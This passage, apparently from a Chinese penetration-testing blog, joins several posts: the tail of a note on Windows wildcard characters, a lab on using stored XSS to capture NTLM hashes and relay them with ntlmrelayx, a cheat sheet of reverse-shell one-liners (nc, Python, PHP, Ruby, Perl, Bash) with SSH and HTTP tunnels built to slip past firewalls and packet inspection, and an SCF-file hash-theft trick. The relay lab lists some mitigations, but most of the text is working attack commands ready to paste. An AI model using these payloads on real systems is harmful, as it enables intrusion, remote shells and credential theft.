而根据StackOverflow上面的一个相关问题和MSDN的解释，这是NtQueryDirectoryFile / ZwQueryDirectoryFile通过FsRtlIsNameInExpression的一个功能特性，对于FsRtlIsNameInExpression有如下描述： 

The following wildcard characters can be used in the pattern string.

Wildcard character  Meaning

* (asterisk)        Matches zero or more characters.

? (question mark)   Matches a single character.

DOS_DOT             Matches either a period or zero characters beyond the name
                    string.

DOS_QM              Matches any single character or, upon encountering a period
                    or end of name string, advances the expression to the end of
                    the set of contiguous DOS_QMs.

DOS_STAR            Matches zero or more characters until encountering and
                    matching the final . in the name.

另外，MSDN的解释并没有提到DOC-*具体指哪些字符，但根据ntfs.h，我们发现了如下的定义： 

//  The following constants provide addition meta characters to fully
//  support the more obscure aspects of DOS wild card processing.

#define DOS_STAR        (L'<')
#define DOS_QM          (L'>')
#define DOS_DOT         (L'"')

因此，我们终于搞明白了为什么前言中说的这三个字符在Windows上被赋予了不同的含义了。

0x02 总结

通过以上分析，我们可以做以下的简短总结：

  • 问题产生的根本原因是PHP调用了Windows API里的FindFirstFileExW()或FindFirstFile()方法
  • 该Windows API方法对于这三个字符做了特别的对待和处理
  • 任何调用该Windows API方法的语言都有可能存在以上这个问题，比如：Python

0x03 参考

渗透测试

渗透测试技巧之一个XSS引发的漏洞利用与思考

0x00 前言

某日，某位小伙伴在微信上发我一个问题，如何利用已知的存储型XSS漏洞在后渗透测试中扩大战果，如RCE？想来这是个很值得思考的一个问题，故有此文。

0x01 分析

首先分析一下问题的题干：

  • 存储型XSS
  • 后渗透利用

首先整理一下可能的思路：

  • 思路一：利用浏览器的漏洞来达到代码执行的效果
  • 思路二：利用浏览器的内置功能直接执行系统命令，如：IE的ActiveX
  • 思路三：利用XSS获取NTLMhash再结合SMB Relay攻击来渗透内网

思路一的利用成本较高尤其是当下的浏览器想找到一个好用的RCE漏洞不是难么容易，放弃！

思路二的利用局限性很大，尤其是IE的ActiveX功能由于安全性问题默认都是Disable的，放弃！

那么现在就剩下思路三了，当然这也是今天这篇文章想要重点探讨的一个方法。

众所周知，在内网渗透里的一个常见步骤就是获取内网中主机的NTLMhash，从而用来离线破解可能的弱密码或者利用Pass The Hash攻击，其实还有种方法是SMB Relay，相关的利用文章有很多，具体可以参考如下，这里就不在赘述。

那么如何通过XSS来获得NTLMhash呢？

其实原理很简单，Windows系统上只要某个应用可以访问UNC路径下的资源，系统就会默认发送NTLMhash至UNC服务器，比如如下可行的方法：

因此我们可以使用下面例子来通过XSS获取NTLMhash： 

<img src="\\\\<attacker ip>\\smbrelay"> 
Or
<script src="\\\\<attacker ip>\\smbrelay"/>

然后，我们可以设置好SMB Relay的监听工具并插入上述的XSS payload进入目标服务里，一旦管理员或者任何内网中的用户访问目标服务，XSS payload就会被执行并将该用户的Windows系统的NTLMhash发送至我们的监听服务器。

最后，通过SMB Relay工具利用获取到的NTLMhash对内网的其他主机发起攻击并可能远程执行任意命令从而最终获得系统控制权。

0x02 实验

有了上面的理论分析，接下来就是实验论证可行性了。

准备如下实验机器：

  • 目标内网主机A：Windows 7 64位 (10.0.0.5)
  • 目标内网主机B：Windows 7 32位 (10.0.0.6)
  • 受害者主机C： Windows XP (10.0.0.8)
  • 攻击机D：Kali Linux (10.0.0.7)

实验前提：

  • 主机C可以远程访问主机A和B的administrative share(即admin$和C$）
    • 对于WORKGROUP中的机器，主机A, B和C的本地管理员组必须同时存在一个相同用户名和密码的账号，且主机C以该账号登陆，另外对于主机A和B需要通过以下方式关闭UAC（适用于Win7及以上操作系统） 
      • REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1
    • 对于域中的机器，主机A, B和C的本地管理员组必须同时存在一个相同的域账号（一般都是域管理员账号），且主机C以该账号登陆即可
  • 主机A和B组策略中的Network security: LAN Manager authentication level不能是Send NTLMv2 response only. Refuse LM & NTLM（别担心，默认就不是）

实验步骤：

一 在攻击机D上下载并安装Impacket中的ntlmrelayx脚本，并开启监听如下： 

python ntlmrelayx.py -tf targets.txt -c hostname > ~/smbrelay.txt

targets.txt:

10.0.0.5
10.0.0.6
10.0.0.8

二 插入如下XSS payload并在受害者主机C上打开存在XSS漏洞的页面，实验中以DVWA为例 

<script src="\\\\10.0.0.7\\smbrelay">

三 此时，攻击机D上便可以看到我们已经成功地在主机A和B上执行了系统命令并返回了各自的主机名，如下：

0x03 总结

总结一下这里的利用思路：

  • 利用XSS获取内网主机的NTLMhash(此处应该是Net-NTLMhash)
  • 利用ntlmrelayx脚本配合获取到的NTLMhash执行SMB Relay攻击从而在目标主机上执行任意系统命令

实战中的意义：

其实对于工作组中的主机利用的条件相对比较苛刻，首先你得需要受害者可以访问内网中目标主机的administrative share，且目标主机关闭了UAC并保持了默认的组策略配置；对于域中的主机，需要受害者正在以域管理员账户登陆主机，如果这种情况下的话利用成本将会大大降低且危害很大。

减轻方法：

  • 开启主机的UAC功能
  • 配置主机的组策略中的Network security: LAN Manager authentication level为Send NTLMv2 response only. Refuse LM & NTLM
  • 不要以域管理员账户登陆主机并点击任意不明文件和链接

0x04 参考

注：尊重知识产权，从你我做起，转载请注明出处，否则谢绝转载，谢谢！

渗透测试

渗透测试技巧之内网穿透方式与思路总结

本文首发于先知论坛：https://xianzhi.aliyun.com/forum/topic/1623/

0x00 前言

本文主要来探讨一下内网穿透方式与思路总结。在开始之前，需要先设置一个前提即已经具有目标内网中的一台主机的任意命令执行的权限，比如：webshell或者某个service的RCE漏洞。我们这里的目标是要绕过可能存在的防火墙，IDS/IPS或者深度包检测系统从而拿到目标内网主机的shell并进而穿透内网以便实施内网渗透。

0x01 实验与分析

实验环境的搭建：

这里我使用VirtualBox新建了一个NAT网络(10.0.2.0/24)来模拟内网以及一台Kali主机(192.168.0.230)来模拟外网主机，具体如下：

  • 内网地址(NAT网络)：10.0.2.0/24
    • 内网主机A(Windows)：10.0.2.15
    • 内网主机B(Linux)：10.0.2.5
  • 内网出口地址(NAT出口地址)：192.168.7.225
  • 外网主机：192.168.0.230

网络拓扑如下：

现在假设我们已经拥有了MyLab网络中的Linux或者Windows的代码执行权限，我们的目标是在我们的攻击机Kali主机上成功获取到内网主机的shell。

场景与思路分析：

场景一：内网防火墙对出口流量没有任何端口限制

思路：由于防火墙对出口流量没有任何端口限制，我们的可选择的方案非常灵活，如：反弹shell

方法：

1. Windows: 

nc.exe -nv 192.168.0.230 8080 -e cmd.exe

2. Linux: 

1）Netcat 

nc -nv 192.168.0.230 8080 -e /bin/bash

mknod /tmp/p p && /bin/sh 0</tmp/p | nc 192.168.0.230 8080 1>/tmp/p

2）Ncat 

ncat -nv 192.168.0.230 8080 -e /bin/bash

3）Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.230",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4）PHP

php -r '$sock=fsockopen("192.168.0.230",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

5）Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.230","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

6）Perl

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.230:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

7）Bash

bash -i >& /dev/tcp/192.168.0.230/8080 0>&1

0<&196;exec 196<>/dev/tcp/192.168.0.230/8080; sh <&196 >&196 2>&196
 
/bin/bash -i > /dev/tcp/192.168.0.230/8080 0<&1 2>&1

场景二：内网防火墙仅允许内网主机访问外网的特定端口（如：80, 443）

思路：由于防火墙仅允许部分特定外网端口可以访问，思路一仍然是反弹shell只不过目标端口改成特定端口即可；思路二则是端口转发，将内网主机的某些服务的端口转发到外网攻击主机上的防火墙允许的特定端口上，再通过连接外网主机上的本地端口来访问内网服务

方法一：反弹shell可参考场景一中的方法，仅需修改目标端口为防火墙允许的特定端口即可

方法二：端口转发

1. Windows

2. Linux (SSH远程端口转发，以允许的特定端口为80为例)

1）在外网主机上将ssh的22端口映射到80端口 

$ apt-get install rinetd
$ vim /etc/rinetd.conf
# bindadress    bindport    connectaddress    connectport
  192.168.0.230 80          192.168.0.230     22

2）内网主机上SSH远程端口转发如下

ssh root@192.168.0.230 -p 80 -f -N -R 2022:127.0.0.1:22
(输入外网主机的SSH口令)

3）在外网主机上直接ssh内网主机如下 

ssh -p 2022 avfisher@127.0.0.1
(输入内网主机的SSH口令)

方法三：SSH的动态端口转发配合proxychains来代理所有流量进一步渗透内网
1）在内网主机上执行

ssh -f -N -R 2222:127.0.0.1:22 -p 80 root@192.168.0.230
(输入外网主机的SSH口令)

2）在外网主机上执行 

ssh -f -N -D 127.0.0.1:8080 -p 2222 avfisher@127.0.0.1
(输入内网主机的SSH口令)

3）在外网主机上配置proxychains设置socks4代理

$ vim /etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8080

4) 使用proxychains代理所有流量进入内网

proxychains nc -nv 10.0.2.5 3306

场景三：内网防火墙具有协议检测和识别能力且仅允许HTTP流量出去外网

思路：由于防火墙仅允许HTTP流量出去外网，可选择的方案将会受到很大限制，但是其中一种方案是HTTP隧道技术

方法：将payload的协议封装在HTTP协议中

1）在外网主机上安装brigde (https://github.com/luizluca/bridge)

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 80 /bridge
$ nc -lvvp 8080

2）在内网主机上安装bridge 

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 8080 http://192.168.0.230:80/bridge 192.168.0.230 8080
$ nc -nv 127.0.0.1 8080 -e /bin/bash

一旦建立了HTTP隧道，后面的操作可以结合前2个场景中的方法。

场景四：内网具备深度包检测能力且仅允许HTTP流量出去外网但可以检测明文传输的HTTP流量

思路：该场景比场景三更加苛刻，在场景三中我们将流量封装在HTTP协议中来Bypass检测，但是流量本身都是明文传输，所以一旦目标内网检测HTTP流量，我们还是可能被拦截，因此我们需要对场景三中的思路稍加修改，即利用SSL或者SSH加密流量在结合HTTP隧道技术。这样封装在HTTP协议中的流量本身也是加密的，检测系统就无法发现真实的payload了。

方法：利用SSL或者SSH加密流量在结合HTTP隧道技术

1）与场景三中的方法类似，先在外网主机上安装brigde 

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 80 /bridge

2）在外网主机上开启使用了ssl加密的ncat监听进程，如下 

ncat -lvvp 8080 --ssl

3）在内网主机上安装bridge

$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 8080 http://192.168.0.230:80/bridge 192.168.0.230 8080

4）同样地，在内网主机上使用ssl与监听主机通信 

ncat -nv 127.0.0.1 8080 -e /bin/bash --ssl

SSH加密端口转发流量的操作可参照场景二中的方法二和三。

场景五：内网主机完全与外网不通

思路：既然该内网主机与外网都不通，那为什么还浪费时间非要借助于这个主机来做内网穿透呢？换个思路，找个能通的内网主机在穿透出来吧。

方法：都找到了能通外网的内网主机了，那么其他场景里提到的方法应该就能解决你的问题了吧…

0x02 小结

本文尝试从不同场景切入分析和总结，从内网限制的宽松到严苛，来逐个探讨可行的Bypass方案，算是抛砖引玉吧，更多地方法和思路会不断丰富和更新进来。

注：尊重知识产权从你我做起，本文谢绝转载，如需转载请与博主联系后授权转载。

渗透测试

渗透测试技巧之利用SCF文件偷取Window NTLM Auth Hash

0x00 前言

今天国外安全研究人员公布了一个通过SCF文件来偷取远程服务器的Window NTLM Auth Hash的技巧，笔者仔细看了一下他的文章觉得很不错，故做了简单研究遂作此文。

0x01 分析与实践

漏洞原理分析

该漏洞通过向网络中的共享目录中上传特殊构造的SCF文件(即在SCF文件中将图标文件指定到我们攻击机伪造的共享目录里)，故当任何用户访问该共享目录时便可获取它的Windows NTLM Hash，从而可以进一步破解Hash获得明文密码或者利用NTLM Relay攻击目标服务器，这是一个非常简单且实用的内网渗透技巧。 

SCF stands for Shell Command File and is a file format that supports a very limited set of Windows Explorer commands, such as opening a Windows Explorer window or showing the Desktop. The "Show Desktop" shortcut we all use on a daily basis is an SCF file.

实验与实践

实验环境：

  • 攻击机：192.168.1.105 (Kali)
  • 目标机/局域网主机B (文件共享主机)：192.168.1.107 (Windows 7 64 bits)
  • 局域网主机A：192.168.1.104 (Windows 7 32 bits)
  • 局域网主机C：192.168.1.106 (Windows XP)

具体步骤：

首先在目标机上创建一个共享文件夹并共享给everyone可读写权限（例如：scftest）

然后关闭共享的密码保护如下：

接下来，在我们的攻击机上创建一个SCF文件，如下：

注意：其中的192.168.1.105是指向我们的攻击机。

上传上面构造的SCF文件至目标服务器的共享目录里：


在攻击机上开启MSF的auxiliary/server/capture/smb模块来伪造共享目录并抓取用户的Windows密码Hash：


此时任何访问下面目标机上的共享目录的Windows用户的密码Hash都将可能被我们的攻击机获取到。 

\\192.168.1.107\Users\win7_64\Desktop\scftest\

局域网主机A：(192.168.1.104/win7_32)


局域网主机B：(192.168.1.107/win7_64)


局域网主机C：(192.168.1.106/win_xp)


在攻击机上我们也“如愿地”偷取到了这三个来自不同windows主机的用户的Windows密码Hash：


所有获取到的NTLM Hash保存在/tmp/smbhashes.txt_netntlmv2，如下：


最后，我们可以通过John the Ripper或者其他在线Windows Hash破解网站，来破解明文密码或者利用Net-NTLM Hash来NTLM Relay攻击。

0x02 参考

注：转载请注明出处，尊重知识产权，从你我做起！